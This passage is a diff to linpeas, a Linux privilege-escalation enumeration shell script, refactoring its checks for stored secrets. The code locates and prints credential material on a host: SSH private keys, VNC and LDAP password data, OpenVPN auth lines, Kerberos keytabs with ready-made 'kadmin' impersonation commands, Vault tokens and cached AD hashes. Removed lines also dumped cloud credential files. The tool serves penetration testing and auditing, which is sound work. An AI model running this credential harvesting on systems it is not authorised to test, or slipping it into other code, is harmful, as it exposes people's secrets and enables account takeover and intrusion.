"anaconda-ks\.cfg$" | while read f; do ls -ld "$f" | sed -${E} "s,anaconda-ks\.cfg$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "rootpw.*" | sed -${E} "s,rootpw.*,${SED_RED},g"; done; echo ""; - #-- SI) VNC files - printf $Y"[+] "$GREEN"Searching .vnc directories and their passwd files\n"$NC - vnc=$(echo "$FIND_DIR_HOME\n$FIND_DIR_USERS\n$FIND_DIR_MNT" | grep -E '\.vnc') - if [ "$vnc" ]; then - printf "$vnc\n" - printf "%s\n" "$vnc" | while read d; do find "$d" -name "passwd" -exec ls -l {} \; 2>/dev/null | sed -${E} "s,.*,${C}[1;31m&${C}[0m,"; done - else echo_not_found ".vnc" - fi - echo "" - #-- SI) LDAP directories - printf $Y"[+] "$GREEN"Searching ldap directories and their hashes\n"$NC - ldap=$(echo "$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_HOME\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_OPT\n$FIND_DIR_USERS\n$FIND_DIR_PRIVATE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MNT" | grep -E 'ldap$') - if [ "$ldap" ]; then - printf "$ldap\n" - echo "The password hash is from the {SSHA} to 'structural'"; - printf "%s\n" "$ldap" | while read d; do cat "$d/*.bdb" 2>/dev/null | grep -i -a -E -o "description.*" | sort | uniq | sed -${E} "s,administrator|password|ADMINISTRATOR|PASSWORD|Password|Administrator,${C}[1;31m&${C}[0m,g"; done - else echo_not_found "ldap" - fi - echo "" + print_2title "Analizing VNC Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_VNC\" | grep -E \"\.vnc$\"`" ]; then echo_not_found ".vnc"; fi; printf "%s" "$PSTORAGE_VNC" | grep -E "\.vnc$" | while read f; do ls -ld "$f" | sed -${E} "s,\.vnc$,${SED_RED},"; for ff in $(find "$f" -name "passwd"); do ls -ld "$ff" | sed -${E} "s,passwd,${SED_RED},"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_VNC\" | grep -E \"vnc.*\.c.*nf.*$\"`" ]; then echo_not_found "*vnc*.c*nf*"; fi; printf "%s" "$PSTORAGE_VNC" | grep -E "vnc.*\.c.*nf.*$" | while read f; do ls -ld "$f" | sed -${E} "s,vnc.*\.c.*nf.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_VNC\" | grep -E \"vnc.*\.ini$\"`" ]; then echo_not_found "*vnc*.ini"; fi; printf "%s" "$PSTORAGE_VNC" | grep -E "vnc.*\.ini$" | while read f; do ls -ld "$f" | sed -${E} "s,vnc.*\.ini$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_VNC\" | grep -E \"vnc.*\.txt$\"`" ]; then echo_not_found "*vnc*.txt"; fi; printf "%s" "$PSTORAGE_VNC" | grep -E "vnc.*\.txt$" | while read f; do ls -ld "$f" | sed -${E} "s,vnc.*\.txt$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_VNC\" | grep -E \"vnc.*\.xml$\"`" ]; then echo_not_found "*vnc*.xml"; fi; printf "%s" "$PSTORAGE_VNC" | grep -E "vnc.*\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,vnc.*\.xml$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + + + print_2title "Analizing Ldap Files (limit 70)" + echo "The password hash is from the {SSHA} to 'structural'" + if ! [ "`echo \"$PSTORAGE_LDAP\" | grep -E \"ldap$\"`" ]; then echo_not_found "ldap"; fi; printf "%s" "$PSTORAGE_LDAP" | grep -E "ldap$" | while read f; do ls -ld "$f" | sed -${E} "s,ldap$,${SED_RED},"; for ff in $(find "$f" -name "*.bdb"); do ls -ld "$ff" | sed -${E} "s,.bdb,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E -i -a -o "description.*" | sort | uniq | sed -${E} "s,administrator|password|ADMINISTRATOR|PASSWORD|Password|Administrator,${SED_RED},g"; done; echo "";done; echo ""; + + + print_2title "Analizing Open VPN Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_OPEN_VPN\" | grep -E \"\.ovpn$\"`" ]; then echo_not_found "*.ovpn"; fi; printf "%s" "$PSTORAGE_OPEN_VPN" | grep -E "\.ovpn$" | while read f; do ls -ld "$f" | sed -${E} "s,\.ovpn$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "auth-user-pass.+" | sed -${E} "s,auth-user-pass.+,${SED_RED},g"; done; echo ""; - #-- SI) .ovpn files - printf $Y"[+] "$GREEN"Searching .ovpn files and credentials\n"$NC - ovpn=$(echo "$FIND_ETC\n$FIND_USR\n$FIND_HOME\n$FIND_TMP\n$FIND_PRIVATE\n$FIND_APPLICATIONS\n$FIND_MNT" | grep -E '\.ovpn') - if [ "$ovpn" ]; then - printf "$ovpn\n" - printf "%s\n" "$ovpn" | while read f; do - if [ -r "$f" ]; then - echo "Checking $f:" - cat "$f" 2>/dev/null | grep "auth-user-pass" | sed -${E} "s,auth-user-pass.*,${C}[1;31m&${C}[0m,"; - fi - done - else echo_not_found ".ovpn" - fi - echo "" #-- SI) ssh files - printf $Y"[+] "$GREEN"Searching ssl/ssh files\n"$NC - ssh=$(echo "$FIND_VAR $FIND_ETC $FIND_HOME $FIND_MNT $FIND_USR $FIND_OPT $FIND_PRIVATE $FIND_APPLICATIONS" | grep -E 'id_dsa.*|id_rsa.*|known_hosts|authorized_hosts|authorized_keys') - certsb4=$(echo "$FIND_VAR $FIND_ETC $FIND_HOME $FIND_MNT $FIND_USR $FIND_OPT $FIND_PRIVATE $FIND_APPLICATIONS" | grep -E '.*\.pem|.*\.cer|.*\.crt' | grep -E -v '^/usr/share/.*' | grep -E -v '^/etc/ssl/.*' | grep -E -v '^/usr/local/lib/.*' | grep -E -v '^/usr/lib.*') - if [ "$certsb4" ]; then certsb4_grep=`grep -L "\"\|'\|(" $certsb4 2>/dev/null`; fi - certsbin=$(echo "$FIND_VAR $FIND_ETC $FIND_HOME $FIND_MNT $FIND_USR $FIND_OPT $FIND_PRIVATE $FIND_APPLICATIONS" | grep -E '.*\.csr|.*\.der' | grep -E -v '^/usr/share/.*' | grep -E -v '^/etc/ssl/.*' | grep -E -v '^/usr/local/lib/.*' | grep -E -v '^/usr/lib/.*') - clientcert=$(echo "$FIND_VAR $FIND_ETC $FIND_HOME $FIND_MNT $FIND_USR $FIND_OPT $FIND_PRIVATE $FIND_APPLICATIONS" | grep -E '.*\.pfx|.*\.p12' | grep -E -v '^/usr/share/.*' | grep -E -v '^/etc/ssl/.*' | grep -E -v '^/usr/local/lib/.*' | grep -E -v '^/usr/lib/.*') - sshagents=$(echo "$FIND_TMP" | grep -E 'agent.*') - homesshconfig=$(echo "$FIND_HOME $FIND_USR" | grep -E 'config' | grep "ssh") + print_2title "Searching ssl/ssh files" + if [ "$PSTORAGE_CERTSB4" ]; then certsb4_grep=`grep -L "\"\|'\|(" $PSTORAGE_CERTSB4 2>/dev/null`; fi sshconfig="`ls /etc/ssh/ssh_config 2>/dev/null`" hostsdenied="`ls /etc/hosts.denied 2>/dev/null`" hostsallow="`ls /etc/hosts.allow 2>/dev/null`" - if [ "$ssh" ]; then - printf "$ssh\n" - fi + print_2title "Analizing SSH FILES Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_SSH_FILES\" | grep -E \"id_dsa.*$\"`" ]; then echo_not_found "id_dsa*"; fi; printf "%s" "$PSTORAGE_SSH_FILES" | grep -E "id_dsa.*$" | while read f; do ls -ld "$f" | sed -${E} "s,id_dsa.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_SSH_FILES\" | grep -E \"id_rsa.*$\"`" ]; then echo_not_found "id_rsa*"; fi; printf "%s" "$PSTORAGE_SSH_FILES" | grep -E "id_rsa.*$" | while read f; do ls -ld "$f" | sed -${E} "s,id_rsa.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_SSH_FILES\" | grep -E \"known_hosts$\"`" ]; then echo_not_found "known_hosts"; fi; printf "%s" "$PSTORAGE_SSH_FILES" | grep -E "known_hosts$" | while read f; do ls -ld "$f" | sed -${E} "s,known_hosts$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_SSH_FILES\" | grep -E \"authorized_hosts$\"`" ]; then echo_not_found "authorized_hosts"; fi; printf "%s" "$PSTORAGE_SSH_FILES" | grep -E "authorized_hosts$" | while read f; do ls -ld "$f" | sed -${E} "s,authorized_hosts$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_SSH_FILES\" | grep -E \"authorized_keys$\"`" ]; then echo_not_found "authorized_keys"; fi; printf "%s" "$PSTORAGE_SSH_FILES" | grep -E "authorized_keys$" | while read f; do ls -ld "$f" | sed -${E} "s,authorized_keys$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,from=[\w\._\-]+,${SED_GOOD},g"; done; echo ""; - grep "PermitRootLogin \|ChallengeResponseAuthentication \|PasswordAuthentication \|UsePAM \|Port\|PermitEmptyPasswords\|PubkeyAuthentication\|ListenAddress\|ForwardAgent\|AllowAgentForwarding\|AuthorizedKeysFiles" /etc/ssh/sshd_config 2>/dev/null | grep -v "#" | sed -${E} "s,PermitRootLogin.*es|PermitEmptyPasswords.*es|ChallengeResponseAuthentication.*es|FordwardAgent.*es,${C}[1;31m&${C}[0m," + + grep "PermitRootLogin \|ChallengeResponseAuthentication \|PasswordAuthentication \|UsePAM \|Port\|PermitEmptyPasswords\|PubkeyAuthentication\|ListenAddress\|ForwardAgent\|AllowAgentForwarding\|AuthorizedKeysFiles" /etc/ssh/sshd_config 2>/dev/null | grep -v "#" | sed -${E} "s,PermitRootLogin.*es|PermitEmptyPasswords.*es|ChallengeResponseAuthentication.*es|FordwardAgent.*es,${SED_RED}," if [ "$TIMEOUT" ]; then privatekeyfilesetc=`timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null` @@ -2203,116 +2173,105 @@ if [ "`echo $CHECKS | grep SofI`" ]; then privatekeyfilesetc=`grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null` #If there is tons of files linpeas gets frozen here without a timeout privatekeyfileshome=`grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOME/.ssh 2>/dev/null` fi - + if [ "$privatekeyfilesetc" ] || [ "$privatekeyfileshome" ] || [ "$privatekeyfilesroot" ] || [ "$privatekeyfilesmnt" ] ; then - printf "Possible private SSH keys were found!\n" | sed -${E} "s,.*,${C}[1;31m&${C}[0m," - if [ "$privatekeyfilesetc" ]; then printf "$privatekeyfilesetc\n" | sed -${E} "s,.*,${C}[1;31m&${C}[0m,"; fi - if [ "$privatekeyfileshome" ]; then printf "$privatekeyfileshome\n" | sed -${E} "s,.*,${C}[1;31m&${C}[0m,"; fi - if [ "$privatekeyfilesroot" ]; then printf "$privatekeyfilesroot\n" | sed -${E} "s,.*,${C}[1;31m&${C}[0m,"; fi - if [ "$privatekeyfilesmnt" ]; then printf "$privatekeyfilesmnt\n" | sed -${E} "s,.*,${C}[1;31m&${C}[0m,"; fi + echo "" + print_3title "Possible private SSH keys were found!" | sed -${E} "s,private SSH keys,${SED_RED}," + if [ "$privatekeyfilesetc" ]; then printf "$privatekeyfilesetc\n" | sed -${E} "s,.*,${SED_RED},"; fi + if [ "$privatekeyfileshome" ]; then printf "$privatekeyfileshome\n" | sed -${E} "s,.*,${SED_RED},"; fi + if [ "$privatekeyfilesroot" ]; then printf "$privatekeyfilesroot\n" | sed -${E} "s,.*,${SED_RED},"; fi + if [ "$privatekeyfilesmnt" ]; then printf "$privatekeyfilesmnt\n" | sed -${E} "s,.*,${SED_RED},"; fi + echo "" fi - if [ "$certsb4_grep" ] || [ "$certsbin" ]; then - echo " --> Some certificates were found (out limited):" + if [ "$certsb4_grep" ] || [ "$$PSTORAGE_CERTSBIN" ]; then + print_3title "Some certificates were found (out limited):" printf "$certsb4_grep\n" | head -n 20 - printf "$certsbin\n" | head -n 20 + printf "$$PSTORAGE_CERTSBIN\n" | head -n 20 + echo "" fi - if [ "$clientcert" ]; then - echo " --> Some client certificates were found:" - printf "$clientcert\n" + if [ "$PSTORAGE_CERTSCLIENT" ]; then + print_3title "Some client certificates were found:" + printf "$PSTORAGE_CERTSCLIENT\n" + echo "" fi - if [ "$sshagents" ]; then - echo " --> Some SSH Agent files were found:" - printf "$sshagents\n" + if [ "$PSTORAGE_SSH_AGENTS" ]; then + print_3title "Some SSH Agent files were found:" + printf "$PSTORAGE_SSH_AGENTS\n" + echo "" fi if [ "`ssh-add -l 2>/dev/null | grep -v 'no identities'`" ]; then - echo " --> SSH Agents listed:" + print_3title "Listing SSH Agents" ssh-add -l + echo "" fi - if [ "$homesshconfig" ]; then - echo " --> Some home ssh config file was found" - printf "$homesshconfig\n" - printf "%s\n" "$homesshconfig" | while read f; do cat "$f" 2>/dev/null | grep -v "^$" | sed -${E} "s,User|ProxyCommand,${C}[1;31m&${C}[0m,"; done + if [ "$PSTORAGE_SSH_CONFIG" ]; then + print_3title "Some home ssh config file was found" + printf "%s\n" "$PSTORAGE_SSH_CONFIG" | while read f; do ls "$f" | sed -${E} "s,$f,${SED_RED},"; cat "$f" 2>/dev/null | grep -Iv "^$" | grep -v "^#" | sed -${E} "s,User|ProxyCommand,${SED_RED},"; done + echo "" fi if [ "$hostsdenied" ]; then - echo " --> /etc/hosts.denied file found, read the rules:" + print_3title "/etc/hosts.denied file found, read the rules:" printf "$hostsdenied\n" - cat "/etc/hosts.denied" 2>/dev/null | grep -v "#" | grep -v "^$" | sed -${E} "s,.*,${C}[1;32m&${C}[0m," + cat "/etc/hosts.denied" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_GREEN}," echo "" fi if [ "$hostsallow" ]; then - echo " --> /etc/hosts.allow file found, read the rules:" + print_3title "/etc/hosts.allow file found, trying to read the rules:" printf "$hostsallow\n" - cat "/etc/hosts.allow" 2>/dev/null | grep -v "#" | grep -v "^$" | sed -${E} "s,.*,${C}[1;31m&${C}[0m," + cat "/etc/hosts.allow" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_RED}," echo "" fi if [ "$sshconfig" ]; then echo "" echo "Searching inside /etc/ssh/ssh_config for interesting info" - cat /etc/ssh/ssh_config 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null | grep -v "^$" | sed -${E} "s,Host|ForwardAgent|User|ProxyCommand,${C}[1;31m&${C}[0m," + cat /etc/ssh/ssh_config 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed -${E} "s,Host|ForwardAgent|User|ProxyCommand,${SED_RED}," fi echo "" #-- SI) PAM auth - printf $Y"[+] "$GREEN"Searching unexpected auth lines in /etc/pam.d/sshd\n"$NC + print_2title "Searching unexpected auth lines in /etc/pam.d/sshd" pamssh=`cat /etc/pam.d/sshd 2>/dev/null | grep -v "^#\|^@" | grep -i auth` if [ "$pamssh" ]; then - cat /etc/pam.d/sshd 2>/dev/null | grep -v "^#\|^@" | grep -i auth | sed -${E} "s,.*,${C}[1;31m&${C}[0m," + cat /etc/pam.d/sshd 2>/dev/null | grep -v "^#\|^@" | grep -i auth | sed -${E} "s,.*,${SED_RED}," else echo_no fi echo "" - #-- SI) Cloud keys - printf $Y"[+] "$GREEN"Searching Cloud credentials (AWS, Azure, GC)\n"$NC - cloudcreds=$(echo "$FIND_VAR\n$FIND_ETC\n$FIND_HOME\n$FIND_TMP\n$FIND_USR\n$FIND_OPT\n$FIND_PRIVATE\n$FIND_APPLICATIONS\n$FIND_MNT" | grep -E 'credentials$|credentials\.db$|legacy_credentials\.db$|access_tokens\.db$|accessTokens\.json$|azureProfile\.json$') - if [ "$cloudcreds" ]; then - printf "%s\n" "$cloudcreds" | while read f; do - if [ -f "$f" ]; then #Check if file, here we only look for filenames, not dirs - printf "%s\n" "Trying to read $f" | sed -${E} "s,credentials|credentials.db|legacy_credentials.db|access_tokens.db|accessTokens.json|azureProfile.json,${C}[1;31m&${C}[0m,g" - if [ -r "$f" ]; then - cat "$f" 2>/dev/null | sed -${E} "s,.*,${C}[1;31m&${C}[0m,g" - fi - echo "" - fi - done - fi - echo "" - #-- SI) NFS exports - printf $Y"[+] "$GREEN"NFS exports?\n"$NC - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe\n"$NC - if [ "`cat /etc/exports 2>/dev/null`" ]; then cat /etc/exports 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null | sed -${E} "s,no_root_squash|no_all_squash ,${C}[1;31;103m&${C}[0m," | sed -${E} "s,insecure,${C}[1;31m&${C}[0m," + print_2title "NFS exports?" + print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe" + if [ "`cat /etc/exports 2>/dev/null`" ]; then cat /etc/exports 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null | sed -${E} "s,no_root_squash|no_all_squash ,${SED_RED_YELLOW}," | sed -${E} "s,insecure,${SED_RED}," else echo_not_found "/etc/exports" fi echo "" #-- SI) Kerberos - printf $Y"[+] "$GREEN"Searching kerberos conf files and tickets\n"$NC - printf $B"[i] "$Y"https://book.hacktricks.xyz/pentesting/pentesting-kerberos-88#pass-the-ticket-ptt\n"$NC + print_2title "Searching kerberos conf files and tickets" + print_info "https://book.hacktricks.xyz/pentesting/pentesting-kerberos-88#pass-the-ticket-ptt" kadmin_exists="`command -v kadmin`" klist_exists="`command -v klist`" - if [ "$kadmin_exists" ]; then echo "kadmin was found on $kadmin_exists" | sed "s,$kadmin_exists,${C}[1;31m&${C}[0m,"; fi + if [ "$kadmin_exists" ]; then echo "kadmin was found on $kadmin_exists" | sed "s,$kadmin_exists,${SED_RED},"; fi if [ "$klist_exists" ] && [ -x "$klist_exists" ]; then echo "klist execution"; klist; fi - - krb5=$(echo "$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_HOME\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_OPT\n$FIND_DIR_USERS\n$FIND_DIR_PRIVATE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MNT" | grep -E 'krb5\.conf|krb5.keytab|\.k5login') - printf "%s\n" "$krb5" | while read f; do + + printf "%s\n" "$PSTORAGE_KERBEROS" | while read f; do if [ -r "$f" ]; then if [ "`echo \"$f\" | grep .k5login`" ]; then echo ".k5login file (users with access to the user who has this file in his home)" - cat "$f" 2>/dev/null | sed -${E} "s,.*,${C}[1;31m&${C}[0m,g" + cat "$f" 2>/dev/null | sed -${E} "s,.*,${SED_RED},g" elif [ "`echo \"$f\" | grep keytab`" ]; then echo "" echo "keytab file found, you may be able to impersonate some kerberos principals and add users or modify passwords" - klist -k "$f" 2>/dev/null | sed -${E} "s,.*,${C}[1;31m&${C}[0m,g" + klist -k "$f" 2>/dev/null | sed -${E} "s,.*,${SED_RED},g" printf "`klist -k \"$f\" 2>/dev/null`\n" | awk '{print $2}' | while read l; do if [ "$l" ] && [ "`echo \"$l\" | grep \"@\"`" ]; then - printf "$ITALIC --- Impersonation command: ${NC}kadmin -k -t /etc/krb5.keytab -p \"$l\"\n" | sed -${E} "s,$l,${C}[1;31m&${C}[0m,g" + printf "$ITALIC --- Impersonation command: ${NC}kadmin -k -t /etc/krb5.keytab -p \"$l\"\n" | sed -${E} "s,$l,${SED_RED},g" #kadmin -k -t /etc/krb5.keytab -p "$l" -q getprivs 2>/dev/null #This should show the permissions of each impersoanted user, the thing is that in a test it showed that every user had the same permissions (even if they didn't). So this test isn't valid #We could also try to create a new user or modify a password, but I'm not user if linpeas should do that fi done elif [ "`echo \"$f\" | grep krb5.conf`" ]; then ls -l "$f" - cat "$f" 2>/dev/null | grep default_ccache_name | sed -${E} "s,default_ccache_name,${C}[1;31m&${C}[0m,"; + cat "$f" 2>/dev/null | grep default_ccache_name | sed -${E} "s,default_ccache_name,${SED_RED},"; elif [ "`echo \"$f\" | grep kadm5.acl`" ]; then ls -l "$f" cat "$f" 2>/dev/null @@ -2323,83 +2282,50 @@ if [ "`echo $CHECKS | grep SofI`" ]; then klist 2>/dev/null || echo_not_found "klist" echo "" - #-- SI) kibana - printf $Y"[+] "$GREEN"Searching Kibana yaml\n"$NC - kibana=$(echo "$FIND_VAR\n$FIND_ETC\n$FIND_HOME\n$FIND_TMP\n$FIND_USR\n$FIND_OPT\n$FIND_PRIVATE\n$FIND_APPLICATIONS\n$FIND_MNT" | grep -E 'kibana\.y.*ml') - if [ "$kibana" ]; then - printf "$kibana\n" - printf "%s\n" "$kibana" | while read f; do - if [ -r "$f" ]; then - cat "$f" 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null | grep -v "^$" | grep -v -e '^[[:space:]]*$' | sed -${E} "s,username|password|host|port|elasticsearch|ssl,${C}[1;31m&${C}[0m,"; - fi - done - else echo_not_found "kibana.yml" - fi - echo "" + print_2title "Analizing Knockd Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_KNOCKD\" | grep -E \"knockd.*$\"`" ]; then echo_not_found "*knockd*"; fi; printf "%s" "$PSTORAGE_KNOCKD" | grep -E "knockd.*$" | while read f; do ls -ld "$f" | sed -${E} "s,knockd.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; + + + print_2title "Analizing Kibana Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_KIBANA\" | grep -E \"kibana\.y.*ml$\"`" ]; then echo_not_found "kibana.y*ml"; fi; printf "%s" "$PSTORAGE_KIBANA" | grep -E "kibana\.y.*ml$" | while read f; do ls -ld "$f" | sed -${E} "s,kibana\.y.*ml$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#|^[[:space:]]*$" | sed -${E} "s,username|password|host|port|elasticsearch|ssl,${SED_RED},g"; done; echo ""; + + + print_2title "Analizing Elasticsearch Files (limit 70)" + echo "The version is $(curl -X GET '127.0.0.1:9200' 2>/dev/null | grep number | cut -d ':' -f 2)" + if ! [ "`echo \"$PSTORAGE_ELASTICSEARCH\" | grep -E \"elasticsearch\.y.*ml$\"`" ]; then echo_not_found "elasticsearch.y*ml"; fi; printf "%s" "$PSTORAGE_ELASTICSEARCH" | grep -E "elasticsearch\.y.*ml$" | while read f; do ls -ld "$f" | sed -${E} "s,elasticsearch\.y.*ml$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "path.data|path.logs|cluster.name|node.name|network.host|discovery.zen.ping.unicast.hosts" | grep -Ev "\W+\#|^#"; done; echo ""; - #-- SI) Knock - printf $Y"[+] "$GREEN"Searching Knock configuration\n"$NC - Knock=$(echo "$FIND_ETC\n$FIND_MNT" | grep -E '/etc/init.d/.*knockd.*') - if [ "$Knock" ]; then - printf "%s\n" "$Knock" | while read f; do - h=$(grep -R -i "defaults_file=" $f | cut -b 15-) ##Search string to know where is the default knock file - example - DEFAULTS_FILE=/etc/default/knockd - i=$(grep -R -i "please edit" $h | awk '{print $4}') ##Search string to know where is config file - example - # PLEASE EDIT /etc/knockd.conf BEFORE ENABLING - j=$(grep -R -i "sequence" $i) ##If we want we can show sequence number - 'hidded' - printf "Config Knock file found!: \n$i\n" | sed -${E} "s,.*,${C}[1;31m&${C}[0m," - printf " Sequence found!: \n$j\n" | sed -${E} "s,.*,${C}[1;31m&${C}[0m," - done - else echo_not_found "Knock.config" - fi - echo "" ##-- SI) Logstash - printf $Y"[+] "$GREEN"Searching logstash files\n"$NC - logstash=$(echo "$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_HOME\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_OPT\n$FIND_DIR_USERS\n$FIND_DIR_PRIVATE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MNT" | grep -E 'logstash') - if [ "$logstash" ]; then - printf "$logstash\n" - printf "%s\n" "$logstash" | while read d; do - if [ -r "$d/startup.options" ]; then + print_2title "Searching logstash files" + if [ "$PSTORAGE_LOGSTASH" ]; then + printf "$PSTORAGE_LOGSTASH\n" + printf "%s\n" "$PSTORAGE_LOGSTASH" | while read d; do + if [ -r "$d/startup.options" ]; then echo "Logstash is running as user:" - cat "$d/startup.options" 2>/dev/null | grep "LS_USER\|LS_GROUP" | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed -${E} "s,$nosh_usrs,${C}[1;34m&${C}[0m," | sed -${E} "s,$knw_usrs,${C}[1;32m&${C}[0m," | sed -${E} "s,$USER,${C}[1;95m&${C}[0m," | sed -${E} "s,root,${C}[1;31m&${C}[0m," + cat "$d/startup.options" 2>/dev/null | grep "LS_USER\|LS_GROUP" | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed -${E} "s,$USER,${C}[1;95m&${C}[0m," | sed -${E} "s,root,${SED_RED}," fi - cat "$d/conf.d/out*" | grep "exec\s*{\|command\s*=>" | sed -${E} "s,exec\W*\{|command\W*=>,${C}[1;31m&${C}[0m," - cat "$d/conf.d/filt*" | grep "path\s*=>\|code\s*=>\|ruby\s*{" | sed -${E} "s,path\W*=>|code\W*=>|ruby\W*\{,${C}[1;31m&${C}[0m," + cat "$d/conf.d/out*" | grep "exec\s*{\|command\s*=>" | sed -${E} "s,exec\W*\{|command\W*=>,${SED_RED}," + cat "$d/conf.d/filt*" | grep "path\s*=>\|code\s*=>\|ruby\s*{" | sed -${E} "s,path\W*=>|code\W*=>|ruby\W*\{,${SED_RED}," done else echo_not_found fi echo "" - #-- SI) Elasticsearch - printf $Y"[+] "$GREEN"Searching elasticsearch files\n"$NC - elasticsearch=$(echo "$FIND_VAR\n$FIND_ETC\n$FIND_HOME\n$FIND_TMP\n$FIND_USR\n$FIND_OPT\n$FIND_PRIVATE\n$FIND_APPLICATIONS\n$FIND_MNT" | grep -E 'elasticsearch\.y.*ml') - if [ "$elasticsearch" ]; then - printf "$elasticsearch\n" - printf "%s\n" "$elasticsearch" | while read f; do - if [ -r "$f" ]; then - cat $f 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null | grep -v -e '^[[:space:]]*$' | grep "path.data\|path.logs\|cluster.name\|node.name\|network.host\|discovery.zen.ping.unicast.hosts"; - fi - done - echo "Version: $(curl -X GET '10.10.10.115:9200' 2>/dev/null | grep number | cut -d ':' -f 2)" - else echo_not_found - fi - echo "" - #-- SI) Vault-ssh - printf $Y"[+] "$GREEN"Searching Vault-ssh files\n"$NC - vaultssh=$(echo "$FIND_ETC\n$FIND_USR\n$FIND_HOME\n$FIND_PRIVATE\n$FIND_APPLICATIONS\n$FIND_MNT" | grep -E 'vault-ssh-helper\.hcl') - if [ "$vaultssh" ]; then - printf "$vaultssh\n" - printf "%s\n" "$vaultssh" | while read f; do cat "$f" 2>/dev/null; vault-ssh-helper -verify-only -config "$f" 2>/dev/null; done + print_2title "Searching Vault-ssh files" + if [ "$PSTORAGE_VAULT_SSH_HELPER" ]; then + printf "$PSTORAGE_VAULT_SSH_HELPER\n" + printf "%s\n" "$PSTORAGE_VAULT_SSH_HELPER" | while read f; do cat "$f" 2>/dev/null; vault-ssh-helper -verify-only -config "$f" 2>/dev/null; done echo "" vault secrets list 2>/dev/null - echo "$FIND_ETC\n$FIND_HOME\n$FIND_USR\n$FIND_PRIVATE\n$FIND_APPLICATIONS\n$FIND_MNT" | grep -E '\.vault-token' | sed -${E} "s,.*,${C}[1;31m&${C}[0m," 2>/dev/null + printf "%s\n" "$PSTORAGE_VAULT_SSH_TOKEN" | sed -${E} "s,.*,${SED_RED}," 2>/dev/null else echo_not_found "vault-ssh-helper.hcl" fi echo "" #-- SI) Cached AD Hashes adhashes=`ls "/var/lib/samba/private/secrets.tdb" "/var/lib/samba/passdb.tdb" "/var/opt/quest/vas/authcache/vas_auth.vdb" "/var/lib/sss/db/cache_*" 2>/dev/null` - printf $Y"[+] "$GREEN"Searching AD cached hashes\n"$NC + print_2title "Searching AD cached hashes" if [ "$adhashes" ]; then ls -l "/var/lib/samba/private/secrets.tdb" "/var/lib/samba/passdb.tdb" "/var/opt/quest/vas/authcache/vas_auth.vdb" "/var/lib/sss/db/cache_*" 2>/dev/null else echo_not_found "cached hashes" @@ -2407,11 +2333,11 @@ if [ "`echo $CHECKS | grep SofI`" ]; then echo "" #-- SI) Screen sessions - printf $Y"[+] "$GREEN"Searching screen sessions\n"$N - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-shell-sessions\n"$NC + print_2title "Searching screen sessions" + print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-shell-sessions" screensess=`screen -ls 2>/dev/null` if [ "$screensess" ]; then - printf "$screensess" | sed -${E} 